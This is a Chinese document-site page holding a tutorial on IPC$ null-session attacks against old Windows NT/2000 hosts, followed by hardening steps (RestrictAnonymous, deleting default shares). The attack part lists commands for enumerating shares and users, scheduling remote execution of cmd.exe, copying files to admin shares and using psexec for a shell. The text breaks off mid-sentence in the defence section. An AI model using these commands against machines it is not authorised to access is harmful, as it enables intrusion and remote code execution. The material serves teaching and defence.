空连接的利用.docxVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
空连接的利用

空连接(IPC$)简介: ipc$即空连接。 使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ /user: 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。 IPC$(Internet Process Connection) 是共享 命名管道 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 IPC$ 是 NT/2000 的一项新功能,它有一个特点,即在同一时间内,两个 IP 之间只允许建立一个连接。 NT/2000 在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享 (c$,d$,e$ …… ) 和系统目录 winnt 或 windows(admin$) 共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。 空连接的利用 1 首先,对目标主机建立一个空会话(当然,这需要目标开放 ipc$ ) 命令: net use\\ip\ipc$ 注:可能有些空连接是需要本地用户的认证的,命令如下: net use\\ip\ipc$ /user:username password 例: 2 查看远程主机的共享资源 命令: net view\\ip 3 映射远程共享 : net use z:\\10.0.0.6\haha 此命令将共享名为 haha 的共享资源映射为本地 z 盘 映射成功: 注:必须有权限才可以进行映射,例子中是因为目标主机E盘设置了共享,且everyone拥有一定的权限,所以才能映射成功。如果是需要系统用户权限才能访问的话,就必须在第一步建立空连接的时候使用用户名和密码认证。 目标主机E盘的共享权限: 4 得到远程主机的 NetBIOS 用户名列表 命令: nbtstat -A ip 用此命令可以得到一个远程主机的 NetBIOS 用户名列表,返回如下结果: 其他的一些常见的利用: 查看远程主机的当前时间 命令: net time \\ip 解释:用此命令可以得到一个远程主机的当前时间。 2删除连接 : net use \\ip\ipc$ /del 3添加任务计划: at \\10.0.0.6 14:40 c:\cmd.exe 意思是在14:40分的时候执行c盘下的cmd.exe程序 查看目标主机任务计划,显示添加成功: 注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径 4向远程主机复制文件 : copy路径\ 文件名\\IP\共享目录名,如: copy c:\cmd.exe  HYPERLINK \\\\10.0.0.6\\c$ \\10.0.0.6\c$ 即将 c 盘下的 cmd.exe 复制到对方 c 盘内 查看确实传输了cmd.exe到目标主机c盘下: 当然,你也可以把远程主机上的文件复制到自己的机器里: Copy \\10.0.0.6\c$\msizap.exe c:\ 查看自己主机,发现传输成功: 利用psexec.exe 直接获得shell: 防范入侵 1 禁止空连接进行枚举 ( 此操作并不能阻止空连接的建立 ) 运行 regedit ,找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的键值改为: 1 如果设置为 1 ,一个匿名用户仍然可以连接到 IPC$ 共享,但无法通过这种连接得到列举 SAM 帐号和共享信息的权限;在 Windows 2000 中增加了 2 ,未取得匿名权的用户将不能进行 ipc$ 空连接。建议设置为 1 。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项- 对匿名连接的额外限制 2 禁止默认共享 1 )察看本地共享资源 运行 -cmd- 输入 net share 2 )删除共享(重起后默认共享仍然存在) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete (如果有 e,f, ……可以继续删除) 3 )停止 server 服务 net stop server /y (重新启动后 server 服务会重新开启) 4 )禁止自动打开默认共享(此操作并不能关闭 ipc$ 共享) 运行 -regedit se

文档评论(0)

cuotian + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档